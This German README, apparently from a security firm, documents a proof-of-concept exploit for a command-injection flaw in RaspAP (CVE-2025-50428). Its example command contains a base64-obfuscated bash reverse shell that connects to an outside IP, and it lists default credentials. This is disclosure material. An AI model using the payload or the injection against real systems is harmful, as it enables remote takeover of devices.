CVE-2025-50428 - RaspAP-Befehlseinschleusung

Ein Proof-of-Concept-Exploit für CVE-2025-50428, eine Befehlseinschleusungsschwachstelle in RaspAP raspap-webgui 3.2.9 und früher.

Beschreibung

Dieser Exploit zielt auf eine Befehlseinschleusungsschwachstelle im hostapd.php-Skript von RaspAP ab. Die Schwachstelle besteht aufgrund unzureichender Bereinigung von Benutzereingaben, die über den Parameter interface übergeben werden. Ein authentifizierter Angreifer kann beliebige Betriebssystembefehle einschleusen, was zur Code-Ausführung mit den Berechtigungen des Benutzers www-data führt.

Anfällige Versionen

• raspap-webgui ≤ 3.2.9

Voraussetzungen

• Python 3.x
• Installierte requests-Bibliothek
• Ziel läuft eine anfällige Version von RaspAP
• Gültige RaspAP-Anmeldeinformationen

Verwendung

python3 poc.py --base-url <url> --interface <payload> [--username <username>] [--password <password>]

Parameter

• --base-url: Basis-URL der RaspAP-Installation (z.B. http://192.168.122.22)
• --interface: Wert für den Interface-Parameter, Einschleusungs-Payload erlaubt
• --username: RaspAP-Benutzername (Standard: admin)
• --password: RaspAP-Passwort (Standard: secret)

Beispiel

python3 poc.py --base-url http://192.168.122.22 --interface "';echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyMi4xLzEzMzcgMD4mMTs= | base64 -d | bash"

Funktionsweise

1. Das Skript authentifiziert sich an der RaspAP-Weboberfläche mit den bereitgestellten Anmeldeinformationen.
2. Es ruft ein gültiges CSRF-Token vom Server ab.
3. Eine POST-Anfrage wird an hostapd.php gesendet, wobei der Interface-Parameter eine bösartige Befehlseinschleusungs-Payload enthält.
4. Die eingeschleusten Befehle werden auf dem Zielsystem mit www-data-Berechtigungen ausgeführt.

Hinweise

• Der Exploit erfordert gültige Anmeldeinformationen.
• Eine erfolgreiche Ausnutzung ermöglicht die Ausführung beliebiger Befehle, die für eine Privilegieneskalation verkettet werden können.

SmartTECS Cyber Security GmbH

SmartTECS Cyber Security GmbH ist ein Cybersicherheitsunternehmen, das sich auf Penetrationstests, sichere Softwareentwicklung und Schwachstellenforschung spezialisiert hat. Das Unternehmen bietet maßgeschneiderte Sicherheitsbewertungen, Incident Response und strategische Beratungsdienste an, um Organisationen dabei zu helfen, kritische Systeme vor sich entwickelnden Cyberbedrohungen zu schützen.

Haftungsausschluss

Dieses Tool wird ausschließlich zu Bildungs- und Forschungszwecken bereitgestellt. Verwenden Sie es nur auf Systemen, die Sie besitzen oder für die Sie ausdrückliche Erlaubnis haben. Der Autor und die SmartTECS Cyber Security GmbH übernehmen keine Haftung für Missbrauch oder Schäden.

Referenzen

• https://nvd.nist.gov/vuln/detail/CVE-2025-50428